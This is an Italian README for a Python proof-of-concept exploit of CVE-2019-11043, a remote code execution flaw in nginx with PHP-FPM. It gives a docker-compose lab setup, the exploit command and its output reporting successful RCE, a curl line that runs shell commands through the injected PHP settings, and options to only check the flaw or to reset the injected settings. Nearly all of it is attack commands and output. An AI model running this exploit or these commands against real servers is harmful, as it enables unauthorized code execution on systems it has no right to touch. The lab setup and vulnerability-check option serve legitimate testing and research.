
(PoC) Versione Python dell'exploit CVE-2019-11043 di neex
Una versione Python dell'exploit per CVE-2019-11043 https://github.com/neex/phuip-fpizdam
Questo PoC è ancora una bozza, usa l'exploit scritto da @neex
Analisi della vulnerabilità: https://paper.seebug.org/1064/
Basta eseguire docker compose per avviare nginx e php-fpm:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
se vuoi leggere i log di php-fpm, puoi eseguire:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
Se vuoi controllare solo la vulnerabilità, saltando l'exploit:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
Puoi provare a terminare il processo php-fpm e a resettare tutte le impostazioni PHP iniettate con --reset:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265